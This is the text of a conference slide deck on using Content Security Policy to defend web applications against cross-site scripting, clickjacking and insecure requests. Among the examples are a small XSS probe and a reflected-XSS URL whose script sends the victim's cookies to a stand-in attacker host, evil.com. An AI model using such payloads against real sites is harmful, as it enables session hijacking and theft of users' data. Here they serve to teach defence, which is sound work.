Content Security Policy

To The Rescue

@dheerajhere
Dheeraj Joshi

About me

Little more...

White Hat

Agenda

  • What & Why ?

  • Understanding XSS

  • Mitigating Attacks using CSP

  • Deploying CSP

  • "CRYPTOJACKING"

Nearly 2000 WordPress Websites Infected with a Keylogger

Security is important

One of the things Some of us assume is that Security is only on the Backend

Let's talk XSS

Cross-site Scripting is dead?

WHEN DATA BECOMES CODE

"><img src=x onerror=prompt(1)>

Why is it a problem?

  • It's more than the alert popup
     
  • XSS attack users
     
  • Hijack, Steal, Record, and ...?

A Typical Reflected XSS

https://www.websearch.com/search?q=<script>document.write(
'<img src="//evil.com/?' + document.cookie + '">');</script>

DEMO

Mitigations

  • HTTP-Only Cookies
  • Input Sanitization
  • Analyze places where DOM Elements are created

But, This is still a problem

[1,2,3] !== [1,2,3]

It's funny because it's TRUE

Content Security PolicY

with great power comes great responsibility

What is CSP?

  • Web Standard
     
  • Specify resources allowed to load
     
  • HTTP Response Header or <Meta>
     
  • Defense-in-depth

CSP Helps in

  • Mitigating Cross-site Scripting Attacks
     
  • Secure Form Submission
     
  • Mitigating Clickjacking
     
  • HTTPS Migration
cache-control: max-age=0, no-cache
content-encoding: gzip
content-security-policy: [policy goes here]
date: Tue, 13 Feb 2018 03:05:27 GMT
status: 200
strict-transport-security: max-age=631138519

Adding the security header

WHAT IT LOOKS LIKE?

<? 
  header("Content-Security-Policy: default-src 'self'");
?>

Allows loading resources from the sameorigin

'SELF'

http:// www.cspisawesome.com :80

Scheme

Hostname

Port

Origin

CSP Directives

  • script-src
  • style-src
  • img-src
  • connect-src
    ...
  • default-src

img-src *

Wildcard; allows any images except data: blob: filesystem: schemes.

object-src 'none'

None; Prevents loading plugins from any source.

style-src example.com

Allows loading resources from the specified domain name.

Content-Security-Policy: script-src 'self'; object-src 'none';
base-uri 'none';

This policy disallows:

  • External scripts not hosted on the same domain
     
  • Inline script elements, such as <script> or <img src="" onerror="alert(0)" />
     
  • Object elements, which can host interactive content, such as Flash
     
  • Base elements, which could break scripts loaded from a relative path

SAMPLE POLICY

script-src 'unsafe-inline'
script-src 'unsafe-eval'

BAD IDEAs

Allows use of inline source elements such as style attribute, onclick, script tag bodies or eval functions.

FIXING Inline SCRIPTS

  1. External files
     
  2. Hash / Nonce
     
  3. Strict Dynamic

HASH

<script>alert('Hello, world.');</script>
base64_encode(hash('sha256', "alert('Hello, world.');", true))
Content-Security-Policy: default-src 'self';
script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng='

Only the exact script in the hash can run

Nonce

<script nonce="r4nd0m" src="//cdn.com/lib.js">
Content-Security-Policy: default-src 'self';
script-src 'nonce-4AEemGb0xJptoIGFP3Nd'

Any script in a block with the nonce can run

This is how Twitter's CSP looks like 😟

Strict-dynamic

script-src 'strict-dynamic' 'nonce-someNonce'
script-src 'strict-dynamic' 'sha256-hash'
  • Complete Trust

  • Ignores whitelisting

  • Allow hash / nonce expressions
Content-Security-Policy: script-src 'self' https://apis.google.com
<script src='http://evil.com/evil.js'></script>

Mitigating XSS

Common Mistakes

  • Avoid using wildcard domains
     
  • "default-src" is omitted.
     
  • Use of dangerous "unsafe-*".
     
  • Whitelisted domain with JSONP Endpoint, User uploads or Open Redirect.

Breaking stuff

Deploying csp

enforcing OR report-only

Reporting

Content-Security-Policy-Report-Only: [policy goes here];

report-uri https://yourname.report-uri.io

Migrating to

Content-Security-Policy: default-src https:;
form-action https:

HTTPS MIGRATION

Let's fix this

Content-Security-Policy: upgrade-insecure-requests
<img src="http://example.com/sample.png">
<img src="https://example.com/sample.png">

Clickjacking

oh, that's so old?

X-Frame-Options

  • DENY - won’t allow the website to be framed by anyone
     
  • SAMEORIGIN - No one can frame except for sites from sameorigin
     
  • ALLOW-FROM uri - Only this one URI can frame. Chrome / IE

Expected behaviour

Actual behaviour

How it works

So, the Sites that frame untrusted pages are still vulnerable

Whatttttt?

Slides.com

XFO: sameorigin

Preventing clickjacking using csp

 Content-Security-Policy: frame-ancestors 'none';
Content-Security-Policy: frame-ancestors
'self' cspisawesome.com

CSP IS COOL :)

Don't break production ;)

Learn more ...

Thank you
​🙌

Content Security Policy To The Rescue

By Dheeraj Joshi

Content Security Policy To The Rescue

Slides for my talk at PHP UK Conference

  • 1,912